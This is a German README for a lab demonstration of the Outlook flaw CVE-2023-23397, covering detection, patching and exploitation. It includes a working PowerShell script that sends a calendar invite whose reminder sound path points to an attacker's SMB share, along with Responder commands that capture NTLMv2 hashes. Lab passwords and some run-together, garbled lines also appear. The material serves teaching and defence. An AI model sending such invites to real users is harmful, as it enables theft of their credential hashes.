
Demonstration der CVE-2023-23397 Outlook Privilege Escalation-Schwachstelle
Dieses Projekt demonstriert die Erkennung, Ausnutzung und Abwehr von CVE-2023-23397, einer kritischen Zero-Click-NTLM-Relay-Schwachstelle in Microsoft Outlook für Windows. Diese Schwachstelle wird über Kalendereinladungen ausgenutzt und ermöglicht Angreifern, NTLMv2-Hashes ohne Benutzerinteraktion zu erfassen.
🛡️ CVSS-Score: 9.8 (Kritisch)
🖥️ Betroffene Versionen: Outlook 2013, 2016, 2019, Microsoft 365 (vor Patch vom 14. März 2023)
Die Kalendererinnerungen von Outlook können so konfiguriert werden, dass sie benutzerdefinierte Sounddateien über die MAPI-Eigenschaft PidLidReminderFileParameter abspielen. Outlook validiert UNC-Pfade nicht, was bei Auslösen von Erinnerungen entfernte SMB-Anfragen ermöglicht.
\\attacker-ip\share\sound.wav
Dies führt dazu, dass NTLMv2-Hashes an vom Angreifer kontrollierte Server gesendet werden, die dann:
Verwenden Sie MFCMAPI, um Kalendereinträge zu überprüfen und nach schädlichen Werten in PidLidReminderFileParameter (MAPI-Tag 0x851F001F) zu suchen.
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F hinzu, um die Pfade der Erinnerungsdateien anzuzeigenInstallieren Sie den Patch vom 14. März 2023 (z.B. KB5002044). Der Patch führt ein:
IsFileZoneLocalIntranetOrTrusted() zur Validierung von ErinnerungsdateipfadenTestergebnis:
Outlook protokolliert Ereignis-ID 1008 und blockiert den Zugriff auf nicht vertrauenswürdige SMB-Pfade.
192.168.1.0/24)📂 Vorgefertigte Richtlinie: OutlookMitigation.ipsec
| System | Benutzername | Passwort |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| E-Mail-Konto | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Stellen Sie sicher, dass Kali und die Opfer-VM im selben Netzwerk sind.
Installieren Sie:
Einrichtung:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder erfasst den NTLMv2-Hash vom Opfersystem.
PidLidReminderFileParameter einen UNC-Pfad enthält.